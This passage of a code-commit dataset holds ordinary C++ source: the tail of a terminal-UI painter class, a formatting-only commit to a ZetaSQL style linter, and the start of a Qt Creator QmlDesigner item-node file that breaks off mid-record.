b.north_enabled) {\n        this->unbound_put_string(north_west, b.north);\n    }\n    \/\/ North-East\n    if (!b.north_east_enabled && !b.north_enabled && b.east_enabled) {\n        this->unbound_put_string(north_east, b.east);\n    } else if (!b.north_east_enabled && !b.east_enabled && b.north_enabled) {\n        this->unbound_put_string(north_east, b.north);\n    }\n    \/\/ South-West\n    if (!b.south_west_enabled && !b.south_enabled && b.west_enabled) {\n        this->unbound_put_string(south_west, b.west);\n    } else if (!b.south_west_enabled && !b.west_enabled && b.south_enabled) {\n        this->unbound_put_string(south_west, b.south);\n    }\n    \/\/ South-East\n    if (!b.south_east_enabled && !b.south_enabled && b.east_enabled) {\n        this->unbound_put_string(south_east, b.east);\n    } else if (!b.south_east_enabled && !b.east_enabled && b.south_enabled) {\n        this->unbound_put_string(south_east, b.south);\n    }\n}\n\nvoid Painter::clear_screen() {\n    auto width = widget_->width() + west_border_offset(*widget_) +\n                 east_border_offset(*widget_);\n    auto height = widget_->height() + north_border_offset(*widget_) +\n                  south_border_offset(*widget_);\n    auto gx = widget_->x() - west_border_offset(*widget_);\n    auto gy = widget_->y() - north_border_offset(*widget_);\n\n    if (width == 0 || height == 0) {\n        return;\n    }\n    Glyph bg_tile = widget_->background_tile;\n    if (!bg_tile.brush().background_color() &&\n        widget_->brush.background_color()) {\n        bg_tile.brush().set_background(*widget_->brush.background_color());\n    }\n    if (!bg_tile.brush().foreground_color() &&\n        widget_->brush.foreground_color()) {\n        bg_tile.brush().set_foreground(*widget_->brush.foreground_color());\n    }\n    for (std::size_t i{gy}; i < gy + height; ++i) {\n        this->unbound_line(gx, i, gx + width - 1, i, bg_tile);\n    }\n}\n\nvoid Painter::unbound_put_string(const Coordinates& point,\n                                 const Glyph_string& gs) {\n    this->unbound_put_string(point.x, point.y, gs);\n}\n\nvoid Painter::unbound_put_string(std::size_t glob_x,\n                                 std::size_t glob_y,\n                                 const Glyph_string& gs) {\n    if (!widget_->on_tree() || !widget_->visible()) {\n        return;\n    }\n    for (Glyph g : gs) {\n        add_default_attributes(&g);\n        System::paint_buffer()->stage(glob_x++, glob_y, g);\n    }\n}\n\nvoid Painter::unbound_line(const Coordinates& point_1,\n                           const Coordinates& point_2,\n                           const Glyph& symbol) {\n    this->unbound_line(point_1.x, point_1.y, point_2.x, point_2.y, symbol);\n}\n\nvoid Painter::unbound_line(std::size_t glob_x1,\n                           std::size_t glob_y1,\n                           std::size_t glob_x2,\n                           std::size_t glob_y2,\n                           const Glyph& symbol) {\n    \/\/ Horizontal\n    if (glob_y1 == glob_y2) {\n        for (; glob_x1 <= glob_x2; ++glob_x1) {\n            unbound_put_string(glob_x1, glob_y1, symbol);\n        }\n    } else if (glob_x1 == glob_x2) {\n        for (; glob_y1 <= glob_y2; ++glob_y1) {\n            unbound_put_string(glob_x1, glob_y1, symbol);\n        }\n    }\n}\n\nvoid Painter::add_default_attributes(Glyph* g) {\n    if (!g->brush().background_color() && widget_->brush.background_color()) {\n        g->brush().add_attributes(\n            background(*widget_->brush.background_color()));\n    }\n    if (!g->brush().foreground_color() && widget_->brush.foreground_color()) {\n        g->brush().add_attributes(\n            foreground(*widget_->brush.foreground_color()));\n    }\n    for (const auto& attr : widget_->brush.attributes()) {\n        g->brush().add_attributes(attr);\n    }\n}\n\n}  \/\/ namespace cppurses\n<|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Copyright 2020 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n#include \"src\/linter.h\"\n\n#include <cstdio>\n#include <iostream>\n#include <memory>\n#include <vector>\n\n#include \"absl\/strings\/string_view.h\"\n#include \"absl\/strings\/str_cat.h\"\n#include \"zetasql\/base\/status.h\"\n#include \"zetasql\/parser\/parse_tree_visitor.h\"\n#include \"zetasql\/parser\/parse_tree.h\"\n#include \"zetasql\/parser\/parser.h\"\n#include \"zetasql\/public\/parse_helpers.h\"\n#include \"zetasql\/public\/parse_tokens.h\"\n#include \"zetasql\/public\/parse_resume_location.h\"\n\n\/\/ Implemented rules in the same order with rules in the documention\nnamespace zetasql {\n\nnamespace linter {\n\nabsl::Status printASTTree(absl::string_view sql) {\n    absl::Status return_status;\n    std::unique_ptr<zetasql::ParserOutput> output;\n\n    zetasql::ParseResumeLocation location =\n        zetasql::ParseResumeLocation::FromStringView(sql);\n    bool isTheEnd = false;\n    int cnt = 0;\n    while ( !isTheEnd ) {\n        return_status = zetasql::ParseNextScriptStatement(\n            &location, zetasql::ParserOptions(), &output, &isTheEnd);\n\n        std::cout << \"Status for sql#\" << ++cnt << \": \\\"\" << sql << \"\\\" = \"\n            << return_status.ToString() << std::endl;\n\n        if ( return_status.ok() ) {\n            std::cout << output -> statement() -> DebugString() << std::endl;\n        } else {\n            break;\n        }\n    }\n    return return_status;\n}\n\nabsl::Status checkLineLength(absl::string_view sql, int lineLimit,\n    const char delimeter) {\n    int lineSize = 0;\n    int lineNumber = 1;\n    for (int i=0; i<static_cast<int>(sql.size()); i++) {\n        if ( sql[i] == delimeter ) {\n            lineSize = 0;\n            lineNumber++;\n        } else {\n            lineSize++;\n        }\n        if ( lineSize > lineLimit ) {\n            return absl::Status(\n                absl::StatusCode::kFailedPrecondition,\n                absl::StrCat(\"Lines should be <= \", std::to_string(lineLimit),\n                \" characters long [\", std::to_string(lineNumber), \",1]\") );\n        }\n    }\n    return absl::OkStatus();\n}\n\nabsl::Status checkStatement(absl::string_view sql) {\n    absl::Status return_status = absl::OkStatus();\n    std::unique_ptr<zetasql::ParserOutput> output;\n\n    zetasql::ParseResumeLocation location =\n        zetasql::ParseResumeLocation::FromStringView(sql);\n    bool isTheEnd = false;\n    while ( !isTheEnd && return_status.ok() ) {\n        return_status = zetasql::ParseNextScriptStatement(\n            &location, zetasql::ParserOptions(), &output, &isTheEnd);\n    }\n    return return_status;\n}\n\nabsl::Status checkSemicolon(absl::string_view sql) {\n    absl::Status return_status = absl::OkStatus();\n    std::unique_ptr<zetasql::ParserOutput> output;\n\n    zetasql::ParseResumeLocation location =\n        zetasql::ParseResumeLocation::FromStringView(sql);\n    bool isTheEnd = false;\n    while ( !isTheEnd && return_status.ok() ) {\n        return_status = zetasql::ParseNextScriptStatement(\n            &location, zetasql::ParserOptions(), &output, &isTheEnd);\n        if ( !isTheEnd && return_status.ok() ) {\n            int endLocation = output -> statement() -> GetParseLocationRange()\n                .end().GetByteOffset();\n\n            if ( endLocation < sql.size() && sql[endLocation] != ';' ) {\n                return absl::Status(\n                        absl::StatusCode::kFailedPrecondition,\n                        absl::StrCat(\n                            \"Each statemnt should end with a consequtive\",\n                            \"semicolon ';'\"));\n            }\n        }\n    }\n    return return_status;\n}\n\nbool allUpperCase(const absl::string_view &sql,\n    const zetasql::ParseLocationRange &range) {\n    for (int i = range.start().GetByteOffset(); i < range.end().GetByteOffset(); i++) {\n        if ( 'a' <= sql[i] && sql[i] <= 'z' )\n            return false;\n    }\n    return true;\n}\n\nabsl::Status checkUppercaseKeywords(absl::string_view sql) {\n    ParseResumeLocation location = ParseResumeLocation::FromStringView(sql);\n    std::vector<zetasql::ParseToken> parse_tokens;\n    absl::Status tokenizer_status =\n        GetParseTokens(ParseTokenOptions(), &location, &parse_tokens);\n\n    \/\/ Keyword definition in tokenizer is very wide,\n    \/\/ it include some special characters like ';', '*', etc.\n    \/\/ Keyword Uppercase check will simply ignore characters\n    \/\/ outside of english lowercase letters.\n    for ( auto &token : parse_tokens ) {\n        if ( token.kind() == zetasql::ParseToken::KEYWORD ) {\n            if (!allUpperCase(sql, token.GetLocationRange())) {\n                return absl::Status(\n                    absl::StatusCode::kFailedPrecondition,\n                    absl::StrCat(\"All keywords should be Uppercase, In character \",\n                    std::to_string(token.GetLocationRange().start().GetByteOffset()),\n                    \" string should be: \", token.GetSQL()));\n            }\n        }\n    }\n\n    return absl::OkStatus();\n}\n\nabsl::Status checkCommentType(absl::string_view sql) {\n    bool includesType1 = false;\n    bool includesType2 = false;\n    bool insideString = false;\n    for (int i = 1; i<static_cast<int>(sql.size()); i++) {\n        if (!insideString && sql[i-1] == '-' && sql[i] == '-')\n            includesType1 = true;\n        if (!insideString && sql[i-1] == '\/' && sql[i] == '\/')\n            includesType2 = true;\n\n        if (sql[i] == '\\'' || sql[i] == '\"')\n            insideString = !insideString;\n    }\n    if ( includesType1 && includesType2 )\n        return absl::Status(\n                absl::StatusCode::kFailedPrecondition,\n                absl::StrCat(\"either '\/\/' or '--' should be used to \",\n                            \"specify a comment\"));\n    return absl::OkStatus();\n}\n\nabsl::Status ASTNodeRule::applyTo(absl::string_view sql) {\n    RuleVisitor visitor(rule, sql);\n    absl::Status return_status = absl::OkStatus();\n    std::unique_ptr<zetasql::ParserOutput> output;\n\n    zetasql::ParseResumeLocation location =\n        zetasql::ParseResumeLocation::FromStringView(sql);\n    bool isTheEnd = false;\n    while ( !isTheEnd && return_status.ok() ) {\n        return_status = zetasql::ParseNextScriptStatement(\n            &location, zetasql::ParserOptions(), &output, &isTheEnd);\n        if ( return_status.ok() ) {\n            return_status = output->statement()->TraverseNonRecursive(&visitor);\n        }\n    }\n    if ( return_status.ok() ) {\n        return_status = visitor.getResult();\n    }\n    return return_status;\n}\n\nabsl::Status checkAliasKeyword(absl::string_view sql) {\n    return ASTNodeRule([](const zetasql::ASTNode* node,\n        absl::string_view sql) -> absl::Status {\n        if (node->node_kind() == zetasql::AST_ALIAS) {\n            int position = node->GetParseLocationRange().start().GetByteOffset();\n            if ( sql[position] != 'A' || sql[position+1] != 'S' ) {\n                return absl::Status(\n                    absl::StatusCode::kFailedPrecondition,\n                    absl::StrCat(\"Always use AS keyword for referencing aliases, \",\n                    \"In position: \", std::to_string(position)));\n            }\n        }\n        return absl::OkStatus();\n    }).applyTo(sql);\n}\n\n}  \/\/ namespace linter\n}  \/\/ namespace zetasql\n<commit_msg>cpplint errors<commit_after>\/\/\n\/\/ Copyright 2020 Google LLC\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n#include \"src\/linter.h\"\n\n#include <cstdio>\n#include <iostream>\n#include <memory>\n#include <vector>\n\n#include \"absl\/strings\/string_view.h\"\n#include \"absl\/strings\/str_cat.h\"\n#include \"zetasql\/base\/status.h\"\n#include \"zetasql\/parser\/parse_tree_visitor.h\"\n#include \"zetasql\/parser\/parse_tree.h\"\n#include \"zetasql\/parser\/parser.h\"\n#include \"zetasql\/public\/parse_helpers.h\"\n#include \"zetasql\/public\/parse_tokens.h\"\n#include \"zetasql\/public\/parse_resume_location.h\"\n\n\/\/ Implemented rules in the same order with rules in the documention\nnamespace zetasql {\n\nnamespace linter {\n\nabsl::Status printASTTree(absl::string_view sql) {\n    absl::Status return_status;\n    std::unique_ptr<zetasql::ParserOutput> output;\n\n    zetasql::ParseResumeLocation location =\n        zetasql::ParseResumeLocation::FromStringView(sql);\n    bool isTheEnd = false;\n    int cnt = 0;\n    while ( !isTheEnd ) {\n        return_status = zetasql::ParseNextScriptStatement(\n            &location, zetasql::ParserOptions(), &output, &isTheEnd);\n\n        std::cout << \"Status for sql#\" << ++cnt << \": \\\"\" << sql << \"\\\" = \"\n            << return_status.ToString() << std::endl;\n\n        if ( return_status.ok() ) {\n            std::cout << output -> statement() -> DebugString() << std::endl;\n        } else {\n            break;\n        }\n    }\n    return return_status;\n}\n\nabsl::Status checkLineLength(absl::string_view sql, int lineLimit,\n    const char delimeter) {\n    int lineSize = 0;\n    int lineNumber = 1;\n    for (int i=0; i<static_cast<int>(sql.size()); i++) {\n        if ( sql[i] == delimeter ) {\n            lineSize = 0;\n            lineNumber++;\n        } else {\n            lineSize++;\n        }\n        if ( lineSize > lineLimit ) {\n            return absl::Status(\n                absl::StatusCode::kFailedPrecondition,\n                absl::StrCat(\"Lines should be <= \", std::to_string(lineLimit),\n                \" characters long [\", std::to_string(lineNumber), \",1]\") );\n        }\n    }\n    return absl::OkStatus();\n}\n\nabsl::Status checkStatement(absl::string_view sql) {\n    absl::Status return_status = absl::OkStatus();\n    std::unique_ptr<zetasql::ParserOutput> output;\n\n    zetasql::ParseResumeLocation location =\n        zetasql::ParseResumeLocation::FromStringView(sql);\n    bool isTheEnd = false;\n    while ( !isTheEnd && return_status.ok() ) {\n        return_status = zetasql::ParseNextScriptStatement(\n            &location, zetasql::ParserOptions(), &output, &isTheEnd);\n    }\n    return return_status;\n}\n\nabsl::Status checkSemicolon(absl::string_view sql) {\n    absl::Status return_status = absl::OkStatus();\n    std::unique_ptr<zetasql::ParserOutput> output;\n\n    zetasql::ParseResumeLocation location =\n        zetasql::ParseResumeLocation::FromStringView(sql);\n    bool isTheEnd = false;\n    while ( !isTheEnd && return_status.ok() ) {\n        return_status = zetasql::ParseNextScriptStatement(\n            &location, zetasql::ParserOptions(), &output, &isTheEnd);\n        if ( !isTheEnd && return_status.ok() ) {\n            int endLocation = output -> statement() -> GetParseLocationRange()\n                .end().GetByteOffset();\n\n            if ( endLocation < sql.size() && sql[endLocation] != ';' ) {\n                return absl::Status(\n                        absl::StatusCode::kFailedPrecondition,\n                        absl::StrCat(\n                            \"Each statemnt should end with a consequtive\",\n                            \"semicolon ';'\"));\n            }\n        }\n    }\n    return return_status;\n}\n\nbool allUpperCase(const absl::string_view &sql,\n    const zetasql::ParseLocationRange &range) {\n    for (int i = range.start().GetByteOffset();\n                i < range.end().GetByteOffset(); i++) {\n        if ( 'a' <= sql[i] && sql[i] <= 'z' )\n            return false;\n    }\n    return true;\n}\n\nabsl::Status checkUppercaseKeywords(absl::string_view sql) {\n    ParseResumeLocation location = ParseResumeLocation::FromStringView(sql);\n    std::vector<zetasql::ParseToken> parse_tokens;\n    absl::Status tokenizer_status =\n        GetParseTokens(ParseTokenOptions(), &location, &parse_tokens);\n\n    \/\/ Keyword definition in tokenizer is very wide,\n    \/\/ it include some special characters like ';', '*', etc.\n    \/\/ Keyword Uppercase check will simply ignore characters\n    \/\/ outside of english lowercase letters.\n    for ( auto &token : parse_tokens ) {\n      if ( token.kind() == zetasql::ParseToken::KEYWORD ) {\n        if (!allUpperCase(sql, token.GetLocationRange())) {\n          return absl::Status(\n            absl::StatusCode::kFailedPrecondition,\n            absl::StrCat(\"All keywords should be Uppercase, In character \",\n            std::to_string(token.GetLocationRange().start().GetByteOffset()),\n            \" string should be: \", token.GetSQL()));\n        }\n      }\n    }\n\n    return absl::OkStatus();\n}\n\nabsl::Status checkCommentType(absl::string_view sql) {\n    bool includesType1 = false;\n    bool includesType2 = false;\n    bool insideString = false;\n    for (int i = 1; i<static_cast<int>(sql.size()); i++) {\n        if (!insideString && sql[i-1] == '-' && sql[i] == '-')\n            includesType1 = true;\n        if (!insideString && sql[i-1] == '\/' && sql[i] == '\/')\n            includesType2 = true;\n\n        if (sql[i] == '\\'' || sql[i] == '\"')\n            insideString = !insideString;\n    }\n    if ( includesType1 && includesType2 )\n        return absl::Status(\n                absl::StatusCode::kFailedPrecondition,\n                absl::StrCat(\"either '\/\/' or '--' should be used to \",\n                            \"specify a comment\"));\n    return absl::OkStatus();\n}\n\nabsl::Status ASTNodeRule::applyTo(absl::string_view sql) {\n    RuleVisitor visitor(rule, sql);\n    absl::Status return_status = absl::OkStatus();\n    std::unique_ptr<zetasql::ParserOutput> output;\n\n    zetasql::ParseResumeLocation location =\n        zetasql::ParseResumeLocation::FromStringView(sql);\n    bool isTheEnd = false;\n    while ( !isTheEnd && return_status.ok() ) {\n        return_status = zetasql::ParseNextScriptStatement(\n            &location, zetasql::ParserOptions(), &output, &isTheEnd);\n        if ( return_status.ok() ) {\n            return_status = output->statement()->TraverseNonRecursive(&visitor);\n        }\n    }\n    if ( return_status.ok() ) {\n        return_status = visitor.getResult();\n    }\n    return return_status;\n}\n\nabsl::Status checkAliasKeyword(absl::string_view sql) {\n    return ASTNodeRule([](const zetasql::ASTNode* node,\n        absl::string_view sql) -> absl::Status {\n        if (node->node_kind() == zetasql::AST_ALIAS) {\n            int position = node->GetParseLocationRange()\n                .start().GetByteOffset();\n            if ( sql[position] != 'A' || sql[position+1] != 'S' ) {\n                return absl::Status(\n                    absl::StatusCode::kFailedPrecondition,\n                    absl::StrCat(\n                    \"Always use AS keyword for referencing aliases, \",\n                    \"In position: \", std::to_string(position)));\n            }\n        }\n        return absl::OkStatus();\n    }).applyTo(sql);\n}\n\n}  \/\/ namespace linter\n}  \/\/ namespace zetasql\n<|endoftext|>"}
{"text":"<commit_before>\/****************************************************************************\n**\n** Copyright (C) 2013 Digia Plc and\/or its subsidiary(-ies).\n** Contact: http:\/\/www.qt-project.org\/legal\n**\n** This file is part of Qt Creator.\n**\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Digia.  For licensing terms and\n** conditions see http:\/\/qt.digia.com\/licensing.  For further information\n** use the contact form at http:\/\/qt.digia.com\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Digia gives you certain additional\n** rights.  These rights are described in the Digia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n****************************************************************************\/\n\n#include \"qmlitemnode.h\"\n#include <metainfo.h>\n#include \"qmlchangeset.h\"\n#include \"nodelistproperty.h\"\n#include \"qmlanchors.h\"\n#include \"invalidmodelnodeexception.h\"\n#include \"qmlmodelview.h\"\n\nnamespace QmlDesigner {\n\nbool QmlItemNode::isItemOrWindow(const ModelNode &modelNode)\n{\n    if (modelNode.metaInfo().isSubclassOf(\"QtQuick.Item\", -1, -1))\n        return true;\n\n    if (modelNode.metaInfo().isSubclassOf(\"QtQuick.Window.Window\", -1, -1) && modelNode.isRootNode())\n        return true;\n\n    return false;\n}\n\nbool QmlItemNode::isValid() const\n{\n    return isValidQmlItemNode(modelNode());\n}\n\nbool QmlItemNode::isValidQmlItemNode(const ModelNode &modelNode)\n{\n    return isValidQmlObjectNode(modelNode) && modelNode.metaInfo().isValid() && isItemOrWindow(modelNode);\n}\n\nbool QmlItemNode::isRootNode() const\n{\n    return modelNode().isValid() && modelNode().isRootNode();\n}\n\nQStringList QmlModelStateGroup::names() const\n{\n    QStringList returnList;\n\n    if (!modelNode().isValid())\n        throw new InvalidModelNodeException(__LINE__, __FUNCTION__, __FILE__);\n\n    if (modelNode().property(\"states\").isNodeListProperty()) {\n        foreach (const ModelNode &node, modelNode().nodeListProperty(\"states\").toModelNodeList()) {\n            if (QmlModelState::isValidQmlModelState(node))\n                returnList.append(QmlModelState(node).name());\n        }\n    }\n    return returnList;\n}\n\n\/**\n  \\brief Returns list of states (without 'base state').\n  The list contains all states defined by this item.\n  *\/\nQmlModelStateGroup QmlItemNode::states() const\n{\n    if (isValid())\n        return QmlModelStateGroup(modelNode());\n    else\n        return QmlModelStateGroup();\n}\n\nQList<QmlItemNode> QmlItemNode::children() const\n{\n    QList<ModelNode> childrenList;\n\n    if (isValid()) {\n\n        if (modelNode().hasNodeListProperty(\"children\"))\n                childrenList.append(modelNode().nodeListProperty(\"children\").toModelNodeList());\n\n        if (modelNode().hasNodeListProperty(\"data\")) {\n            foreach (const ModelNode &node, modelNode().nodeListProperty(\"data\").toModelNodeList()) {\n                if (QmlItemNode::isValidQmlItemNode(node))\n                    childrenList.append(node);\n            }\n        }\n    }\n\n    return toQmlItemNodeList(childrenList);\n}\n\nQList<QmlObjectNode> QmlItemNode::resources() const\n{\n    QList<ModelNode> resourcesList;\n\n    if (isValid()) {\n\n        if (modelNode().hasNodeListProperty(\"resources\"))\n                resourcesList.append(modelNode().nodeListProperty(\"resources\").toModelNodeList());\n\n        if (modelNode().hasNodeListProperty(\"data\")) {\n            foreach (const ModelNode &node, modelNode().nodeListProperty(\"data\").toModelNodeList()) {\n                if (!QmlItemNode::isValidQmlItemNode(node))\n                    resourcesList.append(node);\n            }\n        }\n    }\n\n    return toQmlObjectNodeList(resourcesList);\n}\n\nQList<QmlObjectNode> QmlItemNode::defaultPropertyChildren() const\n{\n    QList<ModelNode> defaultPropertyChildrenList;\n\n    if (isValid()) {\n        if (modelNode().hasNodeListProperty(defaultProperty()))\n            defaultPropertyChildrenList.append(modelNode().nodeListProperty(defaultProperty()).toModelNodeList());\n    }\n\n    return toQmlObjectNodeList(defaultPropertyChildrenList);\n}\n\nQList<QmlObjectNode> QmlItemNode::allDirectSubNodes() const\n{\n    return toQmlObjectNodeList(modelNode().allDirectSubModelNodes());\n}\n\nQmlAnchors QmlItemNode::anchors() const\n{\n    return QmlAnchors(*this);\n}\n\nbool QmlItemNode::hasChildren() const\n{\n    return !children().isEmpty();\n}\n\nbool QmlItemNode::hasResources() const\n{\n    return !resources().isEmpty();\n}\n\nbool QmlItemNode::instanceHasAnchors() const\n{\n    return anchors().instanceHasAnchors();\n}\n\nbool QmlItemNode::hasShowContent() const\n{\n    return nodeInstance().hasContent();\n}\n\nbool QmlItemNode::canReparent() const\n{\n    return QmlObjectNode::canReparent() && !anchors().instanceHasAnchors() && !instanceIsAnchoredBySibling();\n}\n\nbool QmlItemNode::instanceIsAnchoredBySibling() const\n{\n    return nodeInstance().isAnchoredBySibling();\n}\n\nbool QmlItemNode::instanceIsAnchoredByChildren() const\n{\n    return nodeInstance().isAnchoredByChildren();\n}\n\nbool QmlItemNode::instanceIsMovable() const\n{\n    return nodeInstance().isMovable();\n}\n\nbool QmlItemNode::instanceIsResizable() const\n{\n    return nodeInstance().isResizable();\n}\n\nbool QmlItemNode::instanceIsInLayoutable() const\n{\n     return nodeInstance().isInLayoutable();\n}\n\nbool QmlItemNode::instanceHasRotationTransform() const\n{\n    return nodeInstance().transform().type() > QTransform::TxScale;\n}\n\nQRectF  QmlItemNode::instanceBoundingRect() const\n{\n    return QRectF(QPointF(0, 0), nodeInstance().size());\n}\n\nQRectF QmlItemNode::instancePaintedBoundingRect() const\n{\n    return nodeInstance().boundingRect();\n}\n\nQRectF QmlItemNode::instanceContentItemBoundingRect() const\n{\n    return nodeInstance().contentItemBoundingRect();\n}\n\nQTransform  QmlItemNode::instanceTransform() const\n{\n    return nodeInstance().transform();\n}\n\nQTransform QmlItemNode::instanceTransformWithContentTransform() const\n{\n    return nodeInstance().transform() * nodeInstance().contentTransform();\n}\n\nQTransform QmlItemNode::instanceTransformWithContentItemTransform() const\n{\n    return nodeInstance().transform() * nodeInstance().contentItemTransform();\n}\n\nQTransform QmlItemNode::instanceSceneTransform() const\n{\n    return nodeInstance().sceneTransform();\n}\n\nQTransform QmlItemNode::instanceSceneContentItemTransform() const\n{\n    return nodeInstance().sceneTransform() * nodeInstance().contentItemTransform();\n}\n\nQPointF QmlItemNode::instanceScenePosition() const\n{\n    if (hasInstanceParentItem())\n        return instanceParentItem().instanceSceneTransform().map(nodeInstance().position());\n     else if (modelNode().hasParentProperty() && QmlItemNode::isValidQmlItemNode(modelNode().parentProperty().parentModelNode()))\n        return QmlItemNode(modelNode().parentProperty().parentModelNode()).instanceSceneTransform().map(nodeInstance().position());\n\n    return QPointF();\n}\n\nQPointF QmlItemNode::instancePosition() const\n{\n    return nodeInstance().position();\n}\n\nQSizeF QmlItemNode::instanceSize() const\n{\n    return nodeInstance().size();\n}\n\nint QmlItemNode::instancePenWidth() const\n{\n    return nodeInstance().penWidth();\n}\n\nbool QmlItemNode::instanceIsRenderPixmapNull() const\n{\n    return nodeInstance().renderPixmap().isNull();\n}\n\nvoid QmlItemNode::paintInstance(QPainter *painter)\n{\n    if (nodeInstance().isValid())\n        nodeInstance().paint(painter);\n}\n\nvoid QmlItemNode::selectNode()\n{\n    modelNode().selectNode();\n}\n\nvoid QmlItemNode::deselectNode()\n{\n    modelNode().deselectNode();\n}\n\nbool QmlItemNode::isSelected() const\n{\n    return modelNode().isSelected();\n}\n\nQList<QmlModelState> QmlModelStateGroup::allStates() const\n{\n    QList<QmlModelState> returnList;\n\n    if (!modelNode().isValid())\n        throw new InvalidModelNodeException(__LINE__, __FUNCTION__, __FILE__);\n\n    if (modelNode().property(\"states\").isNodeListProperty()) {\n        foreach (const ModelNode &node, modelNode().nodeListProperty(\"states\").toModelNodeList()) {\n            if (QmlModelState::isValidQmlModelState(node))\n                returnList.append(node);\n        }\n    }\n    return returnList;\n}\n\nTypeName QmlItemNode::simplifiedTypeName() const\n{\n    return modelNode().simplifiedTypeName();\n}\n\nuint qHash(const QmlItemNode &node)\n{\n    return qHash(node.modelNode());\n}\n\nQmlModelState QmlModelStateGroup::addState(const QString &name)\n{\n    if (!modelNode().isValid())\n        throw new InvalidModelNodeException(__LINE__, __FUNCTION__, __FILE__);\n\n\n    PropertyListType propertyList;\n    propertyList.append(qMakePair(PropertyName(\"name\"), QVariant(name)));\n\n    ModelNode newState = QmlObjectNode(modelNode()).qmlModelView()->createQmlState(propertyList);\n    modelNode().nodeListProperty(\"states\").reparentHere(newState);\n\n    return newState;\n}\n\nvoid QmlModelStateGroup::removeState(const QString &name)\n{\n    if (!modelNode().isValid())\n        throw new InvalidModelNodeException(__LINE__, __FUNCTION__, __FILE__);\n\n    if (state(name).isValid())\n        state(name).modelNode().destroy();\n}\n\nQmlModelState QmlModelStateGroup::state(const QString &name) const\n{\n    if (!modelNode().isValid())\n        throw new InvalidModelNodeException(__LINE__, __FUNCTION__, __FILE__);\n\n    if (modelNode().property(\"states\").isNodeListProperty()) {\n        foreach (const ModelNode &node, modelNode().nodeListProperty(\"states\").toModelNodeList()) {\n            if (QmlModelState(node).name() == name)\n                return node;\n        }\n    }\n    return QmlModelState();\n}\n\nQList<ModelNode> toModelNodeList(const QList<QmlItemNode> &qmlItemNodeList)\n{\n    QList<ModelNode> modelNodeList;\n\n    foreach (const QmlItemNode &qmlItemNode, qmlItemNodeList)\n        modelNodeList.append(qmlItemNode.modelNode());\n\n    return modelNodeList;\n}\n\nQList<QmlItemNode> toQmlItemNodeList(const QList<ModelNode> &modelNodeList)\n{\n    QList<QmlItemNode> qmlItemNodeList;\n\n    foreach (const ModelNode &modelNode, modelNodeList) {\n        if (QmlItemNode::isValidQmlItemNode(modelNode))\n            qmlItemNodeList.append(modelNode);\n    }\n\n    return qmlItemNodeList;\n}\n\nconst QList<QmlItemNode> QmlItemNode::allDirectSubModelNodes() const\n{\n    return toQmlItemNodeList(modelNode().allDirectSubModelNodes());\n}\n\nconst QList<QmlItemNode> QmlItemNode::allSubModelNodes() const\n{\n    return toQmlItemNodeList(modelNode().allSubModelNodes());\n}\n\nbool QmlItemNode::hasAnySubModelNodes() const\n{\n    return modelNode().hasAnySubModelNodes();\n}\n\n} \/\/QmlDesigner\n<commit_msg>QmlDesigner: Optimize hasChildren and hasResources<commit_after>\/****************************************************************************\n**\n** Copyright (C) 2013 Digia Plc and\/or its subsidiary(-ies).\n** Contact: http:\/\/www.qt-project.org\/legal\n**\n** This file is part of Qt Creator.\n**\n** Commercial License Usage\n** Licensees holding valid commercial Qt licenses may use this file in\n** accordance with the commercial license agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Digia.  For licensing terms and\n** conditions see http:\/\/qt.digia.com\/licensing.  For further information\n** use the contact form at http:\/\/qt.digia.com\/contact-us.\n**\n** GNU Lesser General Public License Usage\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** In addition, as a special exception, Digia gives you certain additional\n** rights.  These rights are described in the Digia Qt LGPL Exception\n** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.\n**\n****************************************************************************\/\n\n#include \"qmlitemnode.h\"\n#include <metainfo.h>\n#include \"qmlchangeset.h\"\n#include \"nodelistproperty.h\"\n#include \"qmlanchors.h\"\n#include \"invalidmodelnodeexception.h\"\n#include \"qmlmodelview.h\"\n\nnamespace QmlDesigner {\n\nbool QmlItemNode::isItemOrWindow(const ModelNode &modelNode)\n{\n    if (modelNode.metaInfo().isSubclassOf(\"QtQuick.Item\", -1, -1))\n        return true;\n\n    if (modelNode.metaInfo().isSubclassOf(\"QtQuick.Window.Window\", -1, -1) && modelNode.isRootNode())\n        return true;\n\n    return false;\n}\n\nbool QmlItemNode::isValid() const\n{\n    return isValidQmlItemNode(modelNode());\n}\n\nbool QmlItemNode::isValidQmlItemNode(const ModelNode &modelNode)\n{\n    return isValidQmlObjectNode(modelNode) && 